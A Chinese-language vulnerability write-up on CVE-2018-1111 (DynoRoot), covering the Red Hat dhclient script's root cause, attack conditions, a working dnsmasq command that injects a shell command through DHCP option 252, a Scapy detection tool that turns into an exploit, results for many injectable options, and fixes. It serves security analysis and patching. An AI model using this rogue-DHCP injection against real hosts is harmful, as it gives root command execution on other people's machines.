CVE-2018-1111 DynoRoot
漏洞应急响应的第三个练习
DynoRoot: Red Hat DHCP 客户端命令执行漏洞
DynoRoot 简介
2018-05-15,红帽官方发布了安全更新,修复了编号为 CVE-2018-1111 的远程代码执行漏洞,攻击者可以通过伪造 DHCP 服务器发送响应包,攻击红帽系统,获取 root 权限并执行任意命令。
对此, 官方的评级为严重
响应过程
原理分析
接到预警信息后, 我们以 Fedora
为例, 对 /etc/NetworkManager/dispatcher.d/11-dhclient
进行了分析.
根据修补的地方, 很容易就能发现漏洞存在的位置:
为什么这里会出现问题呢? 先做个小实验(test.sh
):
1 |
|
这个 sh 在运行的时候会把'test'读入并打印出来:test
看起来似乎很正常. 但是, 如果传入的是这样呢?
1 |
|
结果依然是打印: test'
也就意味着, 这个过程不会对 '
进行转义. 再来试试:
1 |
|
如果还是输出: test'
, 也就意味着, 它不做转义, 反而做 去转义, 这样会导致单引号逃逸. 原本逃逸了也就算了, 偏偏 11-dhclient
还有个 ehco
+ eval
:
1 |
|
结果就是导致任意命令执行
而这里的 echo "'test\' &ls # '"
中的 echo
实际上在 11-dhclient
中对应的是
1 |
|
那么问题来了, declare
中是啥东西呢? 我们可以在 11-dhclient
中的 while read opt; do
下面插入 declare > /declare
, 然后重新连接网络触发它(下面仅展示符合正则的数据):
1 |
|
可以看到, 能够进入 while
的有这些(非所有). 系统在调用 11-dhclient
之前肯定会对非法的敏感字符进行转义, 然后再存到 declare
中, 从之前的测试我们已经知道, while read
会做去转义, 那么我们只需找到有单引号/双引号存在的字段即可进行利用. 例如, dhcp 有 options 字段, 其中有一个252 字段, 作用是给 dhcp 客户端提供一个 url 来配置代理的, 它就可用单引号导致逃逸, 从而执行任意命令.
利用场景
那么, 它的利用场景如何呢?
- 主机 A 需要连接网络,所以广播发送 dhcp 的 discover 包寻找 dhcp 服务器。
- 主机 B 是伪装的 dhcp 服务器,一直在局域网内监听 dhcp 的 discover 的请求,接收到一个 discover 包后马上发送一个带有恶意代码的 dhcp 的 offer 报文,并在赶在真实 dhcp 服务器回复的 offer 报文之前,发送给 A。
- 由于 B 发送的 offer 报文已经被 A 接受,所以真实 dhcp 的 offer 报文不会被回复。(dhcp 先到先得规则)
- A 成功执行恶意代码,并完成接下来的 dhcp 握手
不一定总有discover
出现, 可能直接request
了.
利用条件:
攻击者事先处于被攻击者需要连入的局域网内
存在受影响版本的用户(被攻击者)连入局域网,并发送 dhcp 请求
攻击者在正常 dhcp 服务之前响应被攻击者的 dhcp 请求
进一步划分, 可以分办公网与生产网来分析:
- 办公网:经常会有设备连入,且攻击者较为容易提前进入此局域网,只需嗅探局域网内的 dhcp 请求即可。攻击后便可以 root 权限执行任意命令。(如学校的 wlan)
- 生产网:网络较稳定,很少会出现设备重新连入网络,或者重新分配 ip,且捕获并成功响应 dhcp 请求有一定概率,另外攻击者需要连入此局域网较为困难,需要至少控制一台该局域网内的服务器。攻击后便可以 root 权限执行任意命令。
可见, 漏洞的利用条件还是挺苛刻的, 虽然危害很大. 官方给出的评级估计就是考虑到这点吧.
POC & EXP
dnsmasq
我的测试环境是 Ubuntu + Fedora + VM Fusion.
首先, 禁用一下 vm 的 dhcp, 如果你的是 Fusion 版的话, 新建一个网卡即可:
然后 2 个虚拟机都使用这个网卡. 如果是 win 的版本, 自行百度. 记得把 Ubuntu 与 Fedora 的 dhcp 都禁用了Ubuntu 分配一下固定的 ip:
然后在 Ubuntu 执行命令:
1
sudo dnsmasq --interface=ens33 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252, '&id > /tmp/cve-2018-1111 #"
可能需要改一下网卡Fedora 重新连接网络即可(要开启 dhcp, 默认是开启的), 最后去
/tmp
下找看看有没有cve-2018-1111
这个文件, 有的话就成功了
Python + Scapy
个人认为这种方式对生产网影响最小. 如果不想装 scapy 的话或者连 Python 都没有, 可以用 pyInstaller 生成一个可执行文件, 再上传运行.
代码放在 gayhub 了
pyInstaller 只需要:
pip install pyInstaller
pyinstaller cve-2018-1111.py --onefile
在 dist 中即可找到
检测环境:
所有受影响的系统,并且最好保证正常的 dhcp 服务器不会给系统分配 ip
检测步骤:
将测试的代码的权限改为 777:
chmod 777 ./CVE-2018-1111运行 CVE-2018-1111, 命令如下:
sudo ./CVE-2018-1111等待检测代码返回结果
检测代码在启动的时候会先对测试环境进行检测,检测的内容为:
- 能否使用 /etc/init.d/network restart 重新连接网络
- 能否使用 ifconfig
- 能否获取到网卡(注意,代码自动获取的网卡不一定是能用的,如 lo,如果出现这种情况就需要手动指定网卡:sudo ./CVE-2018-1111 网卡名字
检测时会出现的提示如下:
检测代码总体思路:
检查检测环境:
- 能否使用 /etc/init.d/network restart 重新连接网络
- 能否使用 ifconfig
- 能否获取到网卡, 若能,返回第一个获取到的网卡
开启 2 个进程,一个分给嗅探器,一个分给网络重启器
- 嗅探器用于捕获 dhcp 请求
- 网络重启器用于触发 dhcp 请求
嗅探器开启后,对捕获的 dhcp 进行不同的响应:
- 捕获 dhcp discover:响应 offer
- 捕获 dhcp request:响应 ack
嗅探器在响应 ack 后,检查插入的 payload 是否成功执行:
Payload:id > /tmp/cve-2018-1111
- 若存在,则删除/tmp/cve-2018-1111, 返回成功
- 否则返回失败
结果实例:
至于 exp, 把触发网络重连的那个进程删掉就好了.
修复方案
只需稍微更改存在漏洞的脚本即可。
红色一行为修改前,绿色一行为修改后:
修复方案:
方案一:
使用官方给出的脚本替换方案二:
按照漏洞修复给出的图手动更改脚本
后记
除了 252
实际上还有很多可利用的( []中的是 options 代号 ):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33➜ 下载 sudo python test.py ens33
[*]check environment
[+]check for /etc/init.d/network: OK
[+]check for ifconfig: OK
[+]get interface: OK
[+]Done
[*]Exploit
[14]Exploit as root successfully
[18]Exploit as root successfully
[43]Exploit as root successfully
[56]Exploit as root successfully
[60]Exploit as root successfully
[61]Exploit as root successfully
[62]Exploit as root successfully
[63]Exploit as root successfully
[64]Exploit as root successfully
[66]Exploit as root successfully
[67]Exploit as root successfully
[77]Exploit as root successfully
[81]Exploit as root successfully
[82]Exploit as root successfully
[86]Exploit as root successfully
[87]Exploit as root successfully
[98]Exploit as root successfully
[99]Exploit as root successfully
[100]Exploit as root successfully
[101]Exploit as root successfully
[113]Exploit as root successfully
[114]Exploit as root successfully
[124]Exploit as root successfully
[125]Exploit as root successfully
[252]Exploit as root successfully
过滤了 failed 的输出.
这些当然是用 py+scapy 测试的啦, 就是上面 gayhub 的代码改编的. 所以别太依赖别人的 poc, 自己写的更灵活~
测试的时候我比较懒, 直接写了 range(256)
. 实际上, 每个 option 都会有对应的值, 固定值比较小的就直接可以不测了(比如 13
这个 option 的值长度只能为 1)
至于为什么 declare
在这里返回的会是 DHCP4_
开头的值, 又为什么有些 option 可以有些却不行, 如 Domain Name
或 Host Name
. 事实上系统对 Domain Name
或 Host Name
有些很奇怪的特性, 比如会给你自动加单引号之类的. 对于 252
这个字段中含有单引号时, 处理的方式也没法直接从 declare
的值看出来. 等等等等. 其实到现在, 对于这个漏洞的分析都是黑盒分析, 这些需要进一步分析系统对 dhcp 的响应过程:
dhcpClient 的内部处理
在网上下载 dhcpClient
的源码进行分析:
每个
option
都会进入到dhclient
的check_option_values
中,
进行检查. 这个函数用一个switch
将逻辑分流, 可以看到, 有几个比较特殊, 被拎了出来. 比如check_domain_name
这个函数, 对特殊的字符限制比较完善, 基本没戏.
上面说的是被
client_option_envadd
调用的, 这个函数就是写declare
用的. 通过 1 中的检查后, 由client_envadd
写入.至于转义以及奇怪的行为, 应该都是
pretty_print_option
做的, 里面还调用了pretty_text
以及pretty_escape
等. 这些函数都在options.c
中. 如pretty_escape
对下图的敏感字符做了处理:
所以, 这锅甩给那个 11-dhclient
, 一点毛病没有.
至此, 算是比较完整的分析了
;)
来呀快活呀